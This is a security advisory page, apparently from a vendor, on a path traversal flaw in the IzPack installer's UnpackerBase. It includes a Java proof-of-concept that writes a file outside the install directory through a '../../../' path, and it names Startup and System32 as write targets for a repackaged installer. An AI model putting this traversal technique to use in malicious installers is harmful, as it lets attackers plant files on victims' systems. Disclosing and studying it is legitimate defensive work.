CVE-2026-54550

IzPack has Path Traversal in UnpackerBase that allows writing files outside the installation directory via malicious pack entries

String targetPath = packFile.getTargetPath();             // attacker-controlled
String path       = IoHelper.translatePath(targetPath, variables); // separator swap ONLY
File   target     = new File(path);                       // no canonical check
// ... mkdirs() then file is written to `target`

git show HEAD:izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java \
  | grep -n 'getCanonicalPath\|startsWith.*install\|traversal'
# (no output, fix not present)

# 1. Clone IzPack source and view the vulnerable code directly
git clone --depth=1 --branch izpack-5.2.4 https://github.com/izpack/izpack.git
sed -n '615,650p' izpack/izpack-installer/src/main/java/com/izforge/izpack/installer/unpacker/UnpackerBase.java

# 2. Compile and run the following Java reproducer (no IzPack classpath needed):

// TestPathTraversal.java
import java.io.*;

public class TestPathTraversal {
    // Exact replication of IoHelper.translatePath(), separator swap, no security
    static String translatePath(String destination) {
        return destination.replace('/', File.separatorChar);
    }

    public static void main(String[] args) throws Exception {
        String installDir   = "/tmp/izpack_install";
        String maliciousPath = installDir + "/../../../tmp/ESCAPED_FILE";

        // This is what UnpackerBase does:
        String path   = translatePath(maliciousPath);
        File   target = new File(path);           // resolves traversal
        target.getParentFile().mkdirs();
        try (FileWriter fw = new FileWriter(target)) {
            fw.write("Written outside install dir via IzPack path traversal\n");
        }
        System.out.println("File written to: " + target.getCanonicalPath());
        System.out.println("Inside installDir: " +
            target.getCanonicalPath().startsWith(new File(installDir).getCanonicalPath()));
    }
}

javac TestPathTraversal.java && java TestPathTraversal
# Output: File written to: /tmp/ESCAPED_FILE
#         Inside installDir: false

Any user who runs an IzPack-generated installer is affected. The attacker only
needs to distribute a repackaged installer, a common social-engineering vector.
On Windows (the primary IzPack platform) the victim typically runs the installer
as a local administrator, so the attacker can write to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup,
%SystemRoot%\System32, or any other location reachable by the victim user.
On Linux/macOS the same applies for user-writable locations.

No authentication, no special privileges and no interaction beyond running the
installer are required on the victim side.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-54550 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

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1. What is CVE-2026-54550? CVE-2026-54550 is a high-severity path traversal vulnerability in org.codehaus.izpack:izpack-installer (maven), affecting versions <= 5.2.6. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-54550? CVE-2026-54550 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of org.codehaus.izpack:izpack-installer are affected by CVE-2026-54550? org.codehaus.izpack:izpack-installer (maven) versions <= 5.2.6 is affected.
4. Is there a fix for CVE-2026-54550? No fixed version is listed for CVE-2026-54550 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-54550 exploitable, and should I be worried? Whether CVE-2026-54550 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-54550 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-54550? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.